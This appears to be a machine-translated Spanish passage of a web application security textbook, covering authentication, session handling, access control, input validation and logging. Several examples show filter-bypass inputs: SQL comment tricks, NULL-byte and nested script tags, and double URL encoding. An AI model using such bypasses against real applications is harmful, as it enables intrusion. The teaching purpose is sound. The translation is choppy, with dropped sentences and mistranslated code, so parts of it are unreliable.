enfáticamente vulnerable, independientemente de lo que le digan sus preguntas frecuentes.
El principal problema de seguridad que enfrentan las aplicaciones web surge en cualquier
situación en la que una aplicación deba aceptar y procesar datos no confiables que pueden ser
maliciosos. Sin embargo, en el caso de las aplicaciones web, varios factores se han combinado
para exacerbar el problema y explicar por qué tantas aplicaciones web en Internet hoy en día
hacen un mal trabajo al abordarlo.
Desarrollo a la medida
La mayoría de las aplicaciones web son desarrolladas internamente por el propio personal de
una organización o por contratistas externos. Incluso cuando una aplicación emplea
componentes bien establecidos, estos generalmente se personalizan o se unen mediante un nuevo código.
En esta situación, cada aplicación es diferente y puede contener sus propios defectos únicos .
Esto contrasta con una implementación de infraestructura típica, en la que una organización
puede comprar el mejor producto de su clase e instalarlo de acuerdo con las pautas estándar
de la industria.
Simplicidad engañosa
Con las plataformas de aplicaciones web y las herramientas de desarrollo actuales,
es posible que un programador novato cree una aplicación poderosa desde cero en
un corto período de tiempo. Pero hay una gran diferencia entre producir código que es
Machine Translated by Google
funcional y código que es seguro. Muchas aplicaciones web son creadas por personas bien
intencionadas que simplemente carecen del conocimiento y la experiencia para identificar
dónde pueden surgir problemas de seguridad.
Una tendencia destacada en los últimos años ha sido el uso de marcos de aplicaciones que
proporcionan componentes de código listos para usar para manejar numerosas áreas comunes
de funcionalidad, como autenticación, plantillas de página, tableros de mensajes e integración
con componentes comunes de infraestructura de back-end. Ejemplos de estos marcos incluyen
Liferay y Appfuse. Estos productos agilizan y facilitan la creación de aplicaciones funcionales
sin necesidad de conocimientos técnicos sobre cómo funcionan las aplicaciones o los riesgos
potenciales que pueden contener. Esto también significa que muchas empresas utilizan los
mismos marcos. Por lo tanto, cuando se descubre una vulnerabilidad, afecta a muchas
aplicaciones no relacionadas.
La investigación sobre los ataques y las defensas de las aplicaciones web sigue siendo un área
próspera en la que se conciben nuevos conceptos y amenazas a un ritmo más rápido que en
el caso de las tecnologías más antiguas. Particularmente en el lado del cliente, es común que
las defensas aceptadas contra un ataque en particular se vean socavadas por investigaciones
que demuestran una nueva técnica de ataque. Un equipo de desarrollo que comienza un
proyecto con un conocimiento completo de las amenazas actuales puede haber perdido este
estado cuando la aplicación se completa y se implementa.
Tecnologías sobreextendidas
Muchas de las tecnologías centrales empleadas en las aplicaciones web comenzaron cuando
el panorama de la World Wide Web era muy diferente. Desde entonces, han ido mucho más
allá de los propósitos para los que fueron concebidos originalmente, como el uso de JavaScript
como medio de transmisión de datos en muchos sistemas basados en AJAX.
Machine Translated by Google
aplicaciones A medida que las expectativas puestas en la funcionalidad de las aplicaciones web han
evolucionado rápidamente, las tecnologías utilizadas para implementar esta funcionalidad se han
quedado rezagadas, con tecnologías antiguas ampliadas y adaptadas para cumplir con los nuevos
requisitos. Como era de esperar, esto ha llevado a vulnerabilidades de seguridad a medida que
surgen efectos secundarios imprevistos.
Una línea de código defectuosa en una sola aplicación web puede hacer que los sistemas
internos de una organización sean vulnerables. Además, con el auge de las aplicaciones
combinadas, los widgets de terceros y otras técnicas para la integración entre dominios, el
perímetro de seguridad del lado del servidor con frecuencia se extiende mucho más allá de la
propia organización. La confianza implícita se deposita en los servicios de aplicaciones y servicios externos.
Las estadísticas descritas anteriormente, de la incidencia de vulnerabilidades dentro de este
nuevo perímetro de seguridad, deberían hacer que todas las organizaciones se detengan a pensar.
Una segunda forma en que las aplicaciones web han movido el perímetro de seguridad
surge de las amenazas a las que se enfrentan los propios usuarios cuando acceden a una
aplicación vulnerable. Un atacante malintencionado puede aprovechar una aplicación web
benigna pero vulnerable para atacar a cualquier usuario que la visite. Si ese usuario está
ubicado en una red corporativa interna, el atacante puede aprovechar el navegador del
usuario para lanzar un ataque contra la red local desde la posición de confianza del usuario.
Sin ninguna cooperación por parte del usuario, el atacante puede llevar a cabo cualquier
acción que el usuario podría realizar si fuera malintencionado. Con la proliferación de
complementos y tecnologías de extensión del navegador, el alcance de la superficie de
ataque del lado del cliente ha aumentado considerablemente.
Los administradores de red están familiarizados con la idea de evitar que sus usuarios
visiten sitios web maliciosos, y los propios usuarios finales son cada vez más conscientes
de esta amenaza. Pero la naturaleza de las vulnerabilidades de las aplicaciones web
significa que una aplicación vulnerable puede presentar una amenaza no menor para sus
usuarios y su organización que un sitio web que es abiertamente malicioso. En consecuencia,
el nuevo perímetro de seguridad impone un deber de cuidado a todos los propietarios de
aplicaciones para proteger a sus usuarios de los ataques que reciben a través de la aplicación.
Machine Translated by Google
n Web 2.0: este término se refiere al mayor uso de la funcionalidad que permite compartir
contenido e información generados por el usuario, y también la adopción de diversas
tecnologías que respaldan ampliamente esta funcionalidad, incluidas las solicitudes
HTTP asíncronas y la integración entre dominios.
Machine Translated by Google
Como ocurre con la mayoría de los cambios tecnológicos, estas tendencias han traído consigo
nuevos ataques y variaciones de los ataques existentes. A pesar de la exageración, los temas
planteados no son tan revolucionarios como pueden parecer inicialmente. Examinaremos las
implicaciones de seguridad de estas y otras tendencias recientes en los lugares apropiados a lo largo
de este libro.
A pesar de todos los cambios que se han producido en las aplicaciones web, algunas
categorías de vulnerabilidades "clásicas" no muestran signos de disminución. Continúan
surgiendo prácticamente de la misma forma que lo hicieron en los primeros días de la web.
Estos incluyen defectos en la lógica comercial, fallas en la aplicación adecuada de los
controles de acceso y otros problemas de diseño. Incluso en un mundo de componentes de
aplicaciones unidos entre sí y todo como un servicio, es probable que estos problemas
atemporales sigan estando muy extendidos.
Resumen
En poco más de una década, la World Wide Web ha evolucionado de depósitos de información
puramente estáticos a aplicaciones altamente funcionales que procesan datos confidenciales y
realizan acciones poderosas con consecuencias en el mundo real. Durante este desarrollo, se
combinaron varios factores para generar la postura de seguridad débil que demuestran la mayoría
de las aplicaciones web actuales.
La mayoría de las aplicaciones enfrentan el problema central de seguridad de que los usuarios
pueden enviar entradas arbitrarias. Todos los aspectos de la interacción del usuario con la aplicación
pueden ser maliciosos y deben considerarse como tales a menos que se demuestre lo contrario. Si
no se aborda adecuadamente este problema, las aplicaciones pueden quedar vulnerables a los
ataques de muchas maneras.
Toda la evidencia sobre el estado actual de la seguridad de las aplicaciones web indica que,
aunque algunos aspectos de la seguridad han mejorado, han evolucionado amenazas
completamente nuevas para reemplazarlos. El problema general no ha sido resuelto en ninguna
escala significativa. Los ataques contra las aplicaciones web siguen representando una grave
amenaza tanto para las organizaciones que las implementan como para los usuarios que acceden a ellas.
Machine Translated by Google
Machine Translated by Google
Capítulo R
El problema de seguridad fundamental con las aplicaciones web, que todas las entradas
del usuario no son de confianza, da lugar a una serie de mecanismos de seguridad que
las aplicaciones utilizan para defenderse de los ataques. Prácticamente todas las
aplicaciones emplean mecanismos que son conceptualmente similares, aunque los
detalles del diseño y la efectividad de la implementación varían mucho.
Los mecanismos de defensa empleados por las aplicaciones web comprenden los siguientes
elementos centrales:
n Manejar el acceso de los usuarios a los datos y la funcionalidad de la aplicación para evitar
los usuarios obtengan acceso no autorizado
Debido a su papel central en la resolución del problema central de seguridad, estos mecanismos
también constituyen la gran mayoría de la superficie de ataque de una aplicación típica. Si conocer
a tu enemigo es la primera regla de la guerra, comprender a fondo estos mecanismos es el principal
requisito previo para poder atacar .
17
Machine Translated by Google
Un requisito central de seguridad que prácticamente cualquier aplicación debe cumplir es controlar el
acceso de los usuarios a sus datos y funciones. Una situación típica tiene varias categorías diferentes de
usuarios, como usuarios anónimos, usuarios autenticados ordinarios y usuarios administrativos. Además,
en muchas situaciones, a diferentes usuarios se les permite acceder a un conjunto diferente de datos. Por
ejemplo, los usuarios de una aplicación de correo web deberían poder leer su propio correo electrónico
pero no el de otras personas.
La mayoría de las aplicaciones web manejan el acceso mediante un trío de mecanismos de seguridad
interrelacionados :
n Autenticación
n Gestión de sesiones
n Control de acceso
Cada uno de estos mecanismos representa un área significativa de la superficie de ataque de una
aplicación , y cada uno es fundamental para la postura de seguridad general de una aplicación . Debido a
sus interdependencias, la seguridad general proporcionada por los mecanismos es tan sólida como el
eslabón más débil de la cadena. Un defecto en cualquier componente individual puede permitir que un
atacante obtenga acceso sin restricciones a la funcionalidad y los datos de la aplicación.
Autenticación
El mecanismo de autenticación es lógicamente la dependencia más básica en el manejo del acceso del
usuario por parte de una aplicación. La autenticación de un usuario implica establecer que el usuario es,
de hecho, quien dice ser. Sin esta función, la aplicación tendría que tratar a todos los usuarios como
anónimos, el nivel de confianza más bajo posible.
La mayoría de las aplicaciones web actuales emplean el modelo de autenticación
convencional, en el que el usuario envía un nombre de usuario y una contraseña, cuya
validez verifica la aplicación. La figura 2-1 muestra una función típica de inicio de sesión.
En aplicaciones críticas para la seguridad, como las que utilizan los bancos en línea, este modelo básico
suele complementarse con credenciales adicionales y un proceso de inicio de sesión de varias etapas.
Cuando los requisitos de seguridad son aún más altos, se pueden usar otros modelos de autenticación ,
basados en certificados de cliente, tarjetas inteligentes o tokens de desafío-respuesta. Además del proceso
de inicio de sesión central, los mecanismos de autenticación a menudo emplean una gama de otras
funciones de apoyo, como el registro automático, la recuperación de cuentas y la función de cambio de
contraseña.
Machine Translated by Google
Gestión de sesiones
La siguiente tarea lógica en el proceso de manejo del acceso de los usuarios es
administrar la sesión del usuario autenticado. Después de iniciar sesión con éxito en la
aplicación, el usuario accede a varias páginas y funciones, realizando una serie de
solicitudes HTTP desde su navegador. Al mismo tiempo, la aplicación recibe innumerables
otras solicitudes de diferentes usuarios, algunos de los cuales están autenticados y otros
son anónimos. Para hacer cumplir un control de acceso efectivo, la aplicación necesita
una forma de identificar y procesar la serie de solicitudes que se originan en cada usuario único.
Prácticamente todas las aplicaciones web cumplen con este requisito creando una
sesión para cada usuario y emitiendo al usuario un token que identifica la sesión. La
sesión en sí es un conjunto de estructuras de datos almacenadas en el servidor que
rastrean el estado de la interacción del usuario con la aplicación. El token es una cadena
única que la aplicación asigna a la sesión. Cuando un usuario recibe un token, el
navegador lo envía automáticamente al servidor en cada solicitud HTTP posterior, lo
que permite que la aplicación asocie la solicitud con ese usuario. Las cookies HTTP son
el método estándar para transmitir tokens de sesión, aunque muchas aplicaciones
utilizan campos de formulario ocultos o la cadena de consulta de URL para este fin. Si
un usuario no realiza una solicitud durante un cierto período de tiempo, lo ideal es que
la sesión expire, como se muestra en la Figura 2-2.
Machine Translated by Google
Control de acceso
El último paso lógico en el proceso de manejo del acceso de los usuarios es tomar y hacer cumplir
las decisiones correctas sobre si se debe permitir o denegar cada solicitud individual. Si los
mecanismos recién descritos funcionan correctamente, la aplicación conoce la identidad del usuario
de quien recibe cada solicitud. Sobre esta base, debe decidir si ese usuario está autorizado para
realizar la acción o acceder a los datos que está solicitando, como se muestra en la Figura 2-3.
El mecanismo de control de acceso generalmente necesita implementar una lógica detallada, con
diferentes consideraciones relevantes para diferentes áreas de la aplicación y diferentes tipos de
funcionalidad. Una aplicación puede admitir numerosos roles de usuario, cada uno de los cuales
implica diferentes combinaciones de privilegios específicos.
Es posible que se permita a los usuarios individuales acceder a un subconjunto de los datos totales
contenidos en la aplicación. Las funciones específicas pueden implementar límites de transacción y
otros controles, todos los cuales deben aplicarse correctamente en función de la identidad del usuario.
Debido a la naturaleza compleja de los requisitos típicos de control de acceso, este
mecanismo es una fuente frecuente de vulnerabilidades de seguridad que permiten a un atacante
Machine Translated by Google
para obtener acceso no autorizado a los datos y la funcionalidad. Los desarrolladores a menudo
hacen suposiciones erróneas sobre cómo los usuarios interactuarán con la aplicación y, con
frecuencia, cometen descuidos al omitir las comprobaciones de control de acceso de algunas
funciones de la aplicación. Sondear estas vulnerabilidades suele ser laborioso, porque
esencialmente se deben repetir las mismas comprobaciones para cada elemento de funcionalidad.
Sin embargo, debido a la prevalencia de las fallas de control de acceso, este esfuerzo siempre es
una inversión que vale la pena cuando se ataca una aplicación web. El Capítulo 8 describe cómo
puede automatizar parte del esfuerzo que implica realizar pruebas rigurosas de control de acceso.
Recuerde el problema de seguridad fundamental descrito en el Capítulo 1: todas las entradas del
usuario no son de confianza. Una gran variedad de ataques contra aplicaciones web implican el
envío de información inesperada, diseñada para provocar un comportamiento que no fue el previsto
por los diseñadores de la aplicación. En consecuencia, un requisito clave para las defensas de
seguridad de una aplicación es que la aplicación debe manejar la entrada del usuario de manera segura.
Las vulnerabilidades basadas en la entrada pueden surgir en cualquier lugar dentro de la
funcionalidad de una aplicación y en relación con prácticamente todo tipo de tecnología de uso común.
La "validación de entrada" se cita a menudo como la defensa necesaria contra estos ataques.
Sin embargo, no se puede emplear ningún mecanismo de protección único en todas partes, y la
defensa contra entradas maliciosas a menudo no es tan sencilla como parece.
Variedades de Entrada
Una aplicación web típica procesa los datos proporcionados por el usuario en muchas formas diferentes.
Algunos tipos de validación de entrada pueden no ser factibles o deseables para todas estas
formas de entrada. La figura 2-4 muestra el tipo de validación de entrada que suele realizar una
función de registro de usuario.
Machine Translated by Google
casos, la aplicación debe rechazar la solicitud y registrar el incidente para una posible
investigación (consulte la sección "Manejo de atacantes" más adelante en este capítulo).
En otros casos, los fi ltros diseñados para bloquear palabras clave específicas pueden
omitirse mediante el uso de caracteres no estándar entre expresiones para interrumpir la
tokenización realizada por la aplicación. Por ejemplo:
SELECT/*foo*/nombre de usuario,contraseña/*foo*/FROM/*foo*/users
<img%09onerror=alert(1) src=a>
%00<script>alerta(1)</script>
Machine Translated by Google
NOTA Los ataques que explotan el manejo de bytes NULL surgen en muchas áreas de
seguridad de aplicaciones web. En contextos donde un byte NULL actúa como un
delimitador de cadena, se puede usar para terminar un nombre de archivo o una
consulta a algún componente de back-end. En contextos donde los bytes NULL son
tolerados e ignorados (por ejemplo, dentro de HTML en algunos navegadores), se
pueden insertar bytes NULL arbitrarios dentro de expresiones bloqueadas para vencer algunos filtros basados en listas
Los ataques de este tipo se analizan en detalle en capítulos posteriores.
Desinfección
Este enfoque reconoce la necesidad de aceptar a veces datos cuya seguridad no se puede
garantizar. En lugar de rechazar esta entrada, la aplicación la desinfecta de varias maneras
para evitar que tenga efectos adversos. Los caracteres potencialmente maliciosos pueden
eliminarse de los datos, dejando solo lo que se sabe que es seguro, o pueden codificarse
adecuadamente o "escaparse" antes de que se realice un procesamiento posterior.
Los enfoques basados en el saneamiento de datos suelen ser muy efectivos y, en muchas
situaciones, se puede confiar en ellos como una solución general al problema de los ataques maliciosos.
Machine Translated by Google
aporte. Por ejemplo, la defensa habitual contra los ataques de secuencias de comandos entre
sitios es codificar en HTML los caracteres peligrosos antes de que se incrusten en las páginas
de la aplicación (consulte el Capítulo 12). Sin embargo, la limpieza efectiva puede ser difícil
de lograr si es necesario acomodar varios tipos de datos potencialmente maliciosos dentro
de un elemento de entrada. En esta situación, es deseable un enfoque de validación de
límites , como se describe más adelante.
Muchas vulnerabilidades de aplicaciones web surgen porque los datos proporcionados por los
usuarios se procesan de manera no segura. A menudo, las vulnerabilidades se pueden evitar no
validando la entrada en sí, sino asegurándose de que el procesamiento que se realiza en ella
sea intrínsecamente seguro. En algunas situaciones, se encuentran disponibles métodos de
programación seguros que evitan problemas comunes. Por ejemplo, los ataques de inyección
SQL se pueden prevenir mediante el uso correcto de consultas parametrizadas para el acceso a
la base de datos (consulte el Capítulo 9). En otras situaciones, la funcionalidad de la aplicación
se puede diseñar de tal manera que se eviten prácticas inherentemente inseguras, como pasar
la entrada del usuario a un intérprete de comandos del sistema operativo.
Este enfoque no se puede aplicar a todos los tipos de tareas que deben realizar las
aplicaciones web. Pero donde está disponible, es un enfoque general efectivo para manejar
entradas potencialmente maliciosas.
Comprobaciones semánticas
Todas las defensas descritas hasta ahora abordan la necesidad de defender la aplicación contra
varios tipos de datos mal formados cuyo contenido ha sido diseñado para interferir con el
procesamiento de la aplicación. Sin embargo, con algunas vulnerabilidades, la entrada
proporcionada por el atacante es idéntica a la entrada que puede enviar un usuario común no
malintencionado . Lo que lo hace malicioso son las diferentes circunstancias en las que se
presenta. Por ejemplo, un atacante podría tratar de obtener acceso a la cuenta bancaria de otro
usuario cambiando un número de cuenta transmitido en un campo de formulario oculto. Ninguna
cantidad de validación sintáctica distinguirá entre los datos del usuario y los del atacante. Para
evitar el acceso no autorizado, la aplicación debe validar que el número de cuenta enviado
pertenece al usuario que lo envió.
Validación de límites
La idea de validar datos a través de límites de confianza es familiar. El principal problema de
seguridad con las aplicaciones web surge porque los datos recibidos de los usuarios no son de
confianza. Aunque las comprobaciones de validación de entrada implementadas en el lado del
cliente pueden mejorar el rendimiento y la experiencia del usuario, no ofrecen ninguna garantía
sobre los datos que realmente llegan al servidor. El punto en el que
Machine Translated by Google
los datos del usuario son recibidos primero por la aplicación del lado del servidor representa un
límite de confianza enorme. En este punto, la aplicación necesita tomar medidas para defenderse
contra entradas maliciosas.
Dada la naturaleza del problema central, es tentador pensar en el problema de validación de
entrada en términos de una frontera entre Internet, que es "malo" y no confiable, y la aplicación
del lado del servidor, que es "buena" y confiable. En esta imagen, la función de la validación de
entrada es limpiar los datos potencialmente maliciosos a su llegada y luego pasar los datos
limpios a la aplicación de confianza. A partir de este momento, los datos pueden ser confiables
y procesados sin más controles ni preocupación por posibles ataques.
n Dada la amplia gama de funciones que implementan las aplicaciones y las diferentes
tecnologías en uso, una aplicación típica necesita defenderse contra una gran variedad
de ataques basados en entradas, cada uno de los cuales puede emplear un conjunto
diverso de datos manipulados. Sería muy difícil idear un único mecanismo en la frontera
exterior para defenderse de todos estos ataques. n Muchas funciones de aplicación
implican encadenar una serie de diferentes tipos de procesamiento. Una sola pieza de
entrada proporcionada por el usuario puede dar como resultado varias operaciones en
diferentes componentes, y la salida de cada uno se usa como entrada para la siguiente.
A medida que los datos se transforman, es posible que no se parezcan a la entrada
original. Un atacante experto puede manipular la aplicación para generar una entrada
maliciosa en una etapa clave del procesamiento, atacando el componente que recibe
estos datos. Sería extremadamente difícil implementar un mecanismo de validación en
el límite externo para prever todos los resultados posibles del procesamiento de cada
entrada del usuario.
componentes, las comprobaciones de validación se pueden realizar contra cualquier valor que
tengan los datos como resultado de transformaciones anteriores. Y debido a que las diversas
comprobaciones de validación se implementan en diferentes etapas de procesamiento, es
poco probable que entren en conflicto entre sí.
La figura 2-5 ilustra una situación típica en la que la validación de límites es el enfoque más
efectivo para defenderse de entradas maliciosas. El inicio de sesión del usuario da como resultado
que se realicen varios pasos de procesamiento en la entrada proporcionada por el usuario, y se
realiza una validación adecuada en cada paso:
1. La aplicación recibe los datos de inicio de sesión del usuario. El controlador de formulario
valida que cada elemento de entrada contenga solo caracteres permitidos, esté dentro
de un límite de longitud específico y no contenga ninguna firma de ataque conocida.
2. La aplicación realiza una consulta SQL para verificar las credenciales del usuario.
Para evitar ataques de inyección SQL, cualquier carácter dentro de la entrada del usuario
que pueda usarse para atacar la base de datos se escapa antes de que se construya la
consulta.
3. Si el inicio de sesión tiene éxito, la aplicación pasa ciertos datos del perfil del usuario a un
servicio SOAP para recuperar más información sobre su cuenta.
Para evitar ataques de inyección SOAP, todos los metacaracteres XML dentro de los datos
del perfil del usuario se codifican adecuadamente.
2. SQL limpio
1. Comprobaciones generales
consulta SQL
Envío de inicio de sesión
Base de datos
Usuario
Solicitud
servidor
3. Codificar
4. Desinfecte la salida
metacaracteres XML
mensaje SOAP
servicio SOAP
Figura 2-5: Una función de aplicación que utiliza la validación de límites en múltiples etapas de
procesamiento
Machine Translated by Google
<script>
de cualquier dato proporcionado por el usuario. Sin embargo, un atacante puede pasar por alto
el fi ltro proporcionando la siguiente entrada:
<scr<script>ipt>
Cuando se elimina la expresión bloqueada, los datos circundantes se contraen para restaurar
la carga útil maliciosa, porque el filtro no se aplica de forma recursiva.
la entrada se canoniza posteriormente, un atacante puede usar la codificación de URL doble para
anular el fi ltro. Por ejemplo:
%2527
Cuando se recibe esta entrada, el servidor de aplicaciones realiza su decodificación de URL normal,
por lo que la entrada se convierte en:
%27
Este no contiene apóstrofe, por lo que está permitido por los fi ltros de la aplicación.
Pero cuando la aplicación realiza una decodificación de URL adicional, la entrada se convierte en
un apóstrofo, por lo que se salta el filtro.
Si la aplicación elimina el apóstrofo en lugar de bloquearlo y luego, por
forma una mayor canonicalización, el siguiente bypass puede ser efectivo:
%%2727
Vale la pena señalar que los múltiples pasos de validación y canonicalización en estos casos no
tienen por qué tener lugar en el lado del servidor de la aplicación. Por ejemplo, en la siguiente
entrada, varios caracteres se han codificado en HTML:
Si la aplicación del lado del servidor usa un filtro de entrada para bloquear ciertas expresiones y
caracteres de JavaScript, la entrada codificada puede pasar por alto el filtro. Sin embargo, si la
entrada se copia en la respuesta de la aplicación, algunos navegadores realizan una decodificación
HTML del valor del parámetro src y se ejecuta el JavaScript incrustado.
Además de los esquemas de codificación estándar que están pensados para su uso en
aplicaciones web, pueden surgir problemas de canonicalización en otras situaciones en las
que un componente empleado por la aplicación convierte datos de un juego de caracteres
a otro. Por ejemplo, algunas tecnologías realizan un mapeo de caracteres de "mejor ajuste"
en función de las similitudes en sus glifos impresos. Aquí, los caracteres « y » se pueden
convertir en < y >, respectivamente, y Ÿ y  se convierten en Y y A. Este comportamiento a
menudo se puede aprovechar para pasar de contrabando caracteres bloqueados o palabras
clave más allá de los fi ltros de entrada de una aplicación.
A lo largo de este libro, describiremos numerosos ataques de este tipo, que son efectivos para
derrotar las defensas de muchas aplicaciones contra vulnerabilidades comunes basadas en entradas.
Evitar problemas con la canonicalización y la validación de varios pasos puede ser difícil a
veces, y no existe una solución única para el problema. Un enfoque consiste en realizar pasos de
sanitización de forma recursiva, continuando hasta que no se hayan realizado más modificaciones
en un elemento de entrada. Sin embargo, cuando la higienización deseada implica escapar de un
personaje problemático, esto puede resultar en un ciclo infinito.
A menudo, el problema se puede abordar solo caso por caso, según los tipos de validación que se
realicen. Cuando sea factible, puede ser preferible evitar intentar limpiar algunos tipos de entradas
incorrectas y simplemente rechazarlas por completo.
Machine Translated by Google
Manejo de atacantes
Cualquiera que diseñe una aplicación para la que la seguridad sea remotamente importante debe
suponer que será atacada directamente por atacantes dedicados y expertos. Una función clave de
los mecanismos de seguridad de la aplicación es poder manejar y reaccionar a estos ataques de
forma controlada. Estos mecanismos a menudo incorporan una combinación de medidas defensivas
y ofensivas diseñadas para frustrar al atacante tanto como sea posible y brindar a los propietarios
de la aplicación una notificación adecuada y evidencia de lo que ha ocurrido. Las medidas
implementadas para manejar a los atacantes suelen incluir las siguientes tareas:
n Manejo de errores n
Mantenimiento de registros de
Manejo de errores
Por muy cuidadosos que sean los desarrolladores de una aplicación al validar la entrada del
usuario, es prácticamente inevitable que se produzcan algunos errores imprevistos. Es probable
que los errores resultantes de las acciones de los usuarios comunes se identifiquen durante las
pruebas de funcionalidad y aceptación del usuario. Por lo tanto, se tienen en cuenta antes de
implementar la aplicación en un contexto de producción. Sin embargo, es difícil anticipar todas las
formas posibles en que un usuario malintencionado puede interactuar con la aplicación, por lo que
se deben esperar más errores cuando la aplicación sea atacada.
La mayoría de los lenguajes de desarrollo web brindan un buen soporte de manejo de errores
a través de bloques try-catch y excepciones verificadas. El código de la aplicación debe hacer un
uso extensivo de estas construcciones para detectar errores específicos y generales y manejarlos
apropiadamente. Además, la mayoría de los servidores de aplicaciones se pueden configurar para
tratar los errores de aplicación no controlados de forma personalizada, como
Machine Translated by Google
En cualquier aplicación para la que la seguridad sea importante, los eventos clave deben registrarse
por rutina. Como mínimo, estos suelen incluir lo siguiente:
n Transacciones clave, como pagos con tarjeta de crédito y transferencias de fondos n Intentos
de acceso que están bloqueados por los mecanismos de control de acceso n Cualquier
solicitud que contenga cadenas de ataque conocidas que indiquen intenciones abiertamente
maliciosas
En muchas aplicaciones críticas para la seguridad, como las que utilizan los bancos en línea, todas
las solicitudes de los clientes se registran en su totalidad, lo que proporciona un registro forense completo
que se puede utilizar para investigar cualquier incidente.
Los registros de auditoría efectivos suelen registrar la hora de cada evento, la dirección IP desde la
que se recibió la solicitud y la cuenta del usuario (si está autenticado).
Dichos registros deben estar fuertemente protegidos contra el acceso no autorizado de lectura o escritura.
Un enfoque efectivo es almacenar registros de auditoría en un sistema autónomo que solo acepte
mensajes de actualización de la aplicación principal. En algunas situaciones, los registros se pueden
vaciar a medios de una sola escritura para garantizar su integridad en caso de un ataque exitoso.
En términos de superficie de ataque, los registros de auditoría mal protegidos pueden proporcionar
una mina de oro de información a un atacante, revelando una gran cantidad de información confidencial,
como tokens de sesión y parámetros de solicitud. Esta información puede permitir que el atacante
comprometa inmediatamente toda la aplicación, como se muestra en la Figura 2-7.
Administradores de alertas
Los registros de auditoría permiten a los propietarios de una aplicación investigar retrospectivamente
los intentos de intrusión y, si es posible, emprender acciones legales contra el perpetrador. Sin
embargo, en muchas situaciones es deseable tomar medidas mucho más inmediatas, en tiempo real,
en respuesta a los intentos de ataques. Por ejemplo, los administradores pueden bloquear la dirección
IP o la cuenta de usuario que utiliza un atacante. En casos extremos, incluso pueden desconectar la
aplicación mientras investigan el ataque y toman medidas correctivas. Incluso si ya ha ocurrido una
intrusión exitosa, sus efectos prácticos pueden mitigarse si se toman medidas defensivas en una
etapa temprana.
En la mayoría de las situaciones, los mecanismos de alerta deben equilibrar los objetivos en
conflicto de informar cada ataque genuino de manera confiable y no generar tantas alertas que lleguen
a ser ignoradas. Un mecanismo de alerta bien diseñado puede usar una combinación de factores
para diagnosticar que un determinado ataque está en marcha y puede agregar eventos relacionados
en una sola alerta cuando sea posible. Los eventos anómalos monitoreados por mecanismos de
alerta a menudo incluyen lo siguiente:
n Anomalías de uso, como un gran número de solicitudes que se reciben desde una sola dirección
IP o usuario, lo que indica un ataque con secuencias de comandos.
n Solicitudes en las que se han modificado datos que están ocultos para los usuarios comunes
idéntico al enviado por un usuario benigno. Lo que lo hace malicioso son las circunstancias
bajo las cuales se hace.
En cualquier aplicación crítica para la seguridad, la forma más efectiva de implementar
alertas en tiempo real es integrarlas estrechamente con los mecanismos de validación de
entrada de la aplicación y otros controles. Por ejemplo, si se espera que una cookie tenga
uno de un conjunto específico de valores, cualquier violación de esto indica que su valor
se modificó de una manera que no es posible para los usuarios comunes de la aplicación.
De manera similar, si un usuario cambia un número de cuenta en un campo oculto para
identificar la cuenta de un usuario diferente, esto indica fuertemente una intención maliciosa.
La aplicación ya debería estar comprobando estos ataques como parte de sus defensas
principales, y estos mecanismos de protección pueden conectarse fácilmente al mecanismo
de alerta de la aplicación para proporcionar indicadores totalmente personalizados de actividad maliciosa.
Debido a que estas comprobaciones se han adaptado a la lógica real de la aplicación, con un
conocimiento detallado de cómo deberían comportarse los usuarios normales, son mucho menos
propensas a falsos positivos que cualquier solución estándar, por configurable o fácil que sea.
para aprender que solución puede ser.
Reaccionar a los atacantes aparentes no es, por supuesto, un sustituto para corregir
las vulnerabilidades que existen dentro de la aplicación. Sin embargo, en el mundo real,
incluso los esfuerzos más diligentes para purgar una aplicación de fallas de seguridad
pueden dejar algunos defectos explotables. Colocar más obstáculos en el camino de un
atacante es una medida efectiva de defensa en profundidad que reduce la probabilidad
de que se encuentren y exploten vulnerabilidades residuales.
Administrar la aplicación
Cualquier aplicación útil necesita ser gestionada y administrada. Esta función a menudo forma
una parte clave de los mecanismos de seguridad de la aplicación, proporcionando una forma para
que los administradores administren cuentas y roles de usuario, accedan a funciones de monitoreo
y auditoría, realicen tareas de diagnóstico y configuren aspectos de la funcionalidad de la
aplicación.
En muchas aplicaciones, las funciones administrativas se implementan dentro de la propia
aplicación, a las que se puede acceder a través de la misma interfaz web que su funcionalidad
básica no relacionada con la seguridad, como se muestra en la Figura 2-8. Cuando este es el
caso, el mecanismo administrativo representa una parte crítica de la superficie de ataque de la
aplicación. Su atracción principal para un atacante es como un vehículo para la escalada de
privilegios. Por ejemplo:
Resumen
A pesar de sus amplias diferencias, prácticamente todas las aplicaciones web emplean los mismos
mecanismos básicos de seguridad de alguna forma. Estos mecanismos representan las principales
defensas de una aplicación contra usuarios maliciosos y, por lo tanto , también comprenden la
mayor parte de la superficie de ataque de la aplicación. Las vulnerabilidades que examinaremos
más adelante en este libro surgen principalmente de defectos dentro de estos mecanismos
centrales.
De estos componentes, los mecanismos para manejar el acceso del usuario y la entrada del
usuario son los más importantes y deben recibir la mayor parte de su atención cuando se dirige a
una aplicación. Los defectos en estos mecanismos a menudo conducen a un compromiso total de
la aplicación, lo que le permite acceder a datos que pertenecen a otros usuarios, realizar acciones
no autorizadas e inyectar códigos y comandos arbitrarios.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. ¿Por qué los mecanismos de una aplicación para manejar el acceso de los usuarios son solo como
fuerte como el más débil de estos componentes?
2. ¿Cuál es la diferencia entre una sesión y un token de sesión?
3. ¿Por qué no siempre es posible utilizar un método de entrada basado en una lista blanca?
¿validación?
Machine Translated by Google
4. URL-decodifica la entrada.
¿Puede omitir este mecanismo de validación para pasar de contrabando los siguientes
datos ?
“><script>alerta(“foo”)</script>
Machine Translated by Google
Machine Translated by Google
Capítulo R
El protocolo HTTP
39
Machine Translated by Google
Solicitudes HTTP
Todos los mensajes HTTP (solicitudes y respuestas) constan de uno o más encabezados,
cada uno en una línea separada, seguido de una línea en blanco obligatoria, seguida de
un cuerpo de mensaje opcional. Una solicitud HTTP típica es la siguiente:
La primera línea de cada solicitud HTTP consta de tres elementos, separados por espacios:
n Un verbo que indica el método HTTP. El método más utilizado es GET, cuya función
es recuperar un recurso del servidor web. Las solicitudes GET no tienen un cuerpo
de mensaje, por lo que no hay más datos después de la línea en blanco después
de los encabezados del mensaje.
n La URL solicitada. La URL normalmente funciona como un nombre para el recurso
que se solicita, junto con una cadena de consulta opcional que contiene los
parámetros que el cliente pasa a ese recurso. La cadena de consulta se indica
mediante el ? carácter en la URL. El ejemplo contiene un solo parámetro con el
nombre uid y el valor 129.
n La versión de HTTP que se está utilizando. Las únicas versiones HTTP de uso común
